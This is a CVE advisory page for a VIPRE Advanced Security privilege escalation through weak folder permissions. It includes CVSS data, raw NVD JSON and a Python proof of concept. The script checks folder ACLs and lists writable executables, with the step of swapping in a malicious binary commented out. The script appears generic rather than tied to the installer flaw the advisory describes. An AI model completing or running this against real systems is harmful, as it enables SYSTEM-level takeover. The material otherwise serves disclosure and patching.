Security Vulnerability Report
中文
CVE-2025-13703 CVSS 7.8 HIGH

CVE-2025-13703

Published: 2025-12-23 22:15:45
Last Modified: 2026-04-15 00:35:42

Description

VIPRE Advanced Security Incorrect Permission Assignment Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of VIPRE Advanced Security for PC. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the product installer. The issue results from incorrect permissions on a folder. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27147.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

VIPRE Advanced Security < 2025.09.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13703 PoC - VIPRE Advanced Security Permission Escalation # This PoC demonstrates the permission misconfiguration on VIPRE installation folders import os import subprocess import shutil def check_vipre_permissions(): """Check for weak permissions on VIPRE installation directories""" vipre_paths = [ r'C:\Program Files\VIPRE', r'C:\Program Files (x86)\VIPRE', r'C:\ProgramData\VIPRE' ] vulnerable_paths = [] for path in vipre_paths: if os.path.exists(path): # Check if low-privilege users can write to the directory try: # Use icacls to check permissions result = subprocess.run( ['icacls', path], capture_output=True, text=True ) # Check for 'Everyone:(I)(F)' or 'Users:(I)(F)' permissions if 'Everyone:(I)(F)' in result.stdout or 'Users:(I)(F)' in result.stdout: vulnerable_paths.append({ 'path': path, 'permissions': result.stdout }) except Exception as e: print(f'Error checking {path}: {e}') return vulnerable_paths def exploit_privilege_escalation(vulnerable_path, malicious_exe): """ Exploit the permission misconfiguration by replacing executable Note: This requires the malicious executable to be prepared """ if not os.path.exists(vulnerable_path): print('Vulnerable path does not exist') return False # Find executables in the VIPRE directory that might be called by SYSTEM for root, dirs, files in os.walk(vulnerable_path): for file in files: if file.endswith('.exe') or file.endswith('.dll'): file_path = os.path.join(root, file) try: # Check if we can write to the executable if os.access(file_path, os.W_OK): print(f'Writable file found: {file_path}') # In a real attack, replace with malicious binary # shutil.copy(malicious_exe, file_path) except Exception: pass return True if __name__ == '__main__': print('CVE-2025-13703 VIPRE Advanced Security Privilege Escalation Check') print('=' * 60) vulnerable = check_vipre_permissions() if vulnerable: print(f'[+] Found {len(vulnerable)} potentially vulnerable paths:') for v in vulnerable: print(f"\nPath: {v['path']}") print(f"Permissions: {v['permissions']}") else: print('[-] No obvious permission misconfigurations found')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13703", "sourceIdentifier": "[email protected]", "published": "2025-12-23T22:15:45.060", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "VIPRE Advanced Security Incorrect Permission Assignment Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of VIPRE Advanced Security for PC. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the product installer. The issue results from incorrect permissions on a folder. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27147."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://success.vipre.com/home-windows-release-notes/home-windows-release-notes-20250925", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1023/", "source": "[email protected]"}]}}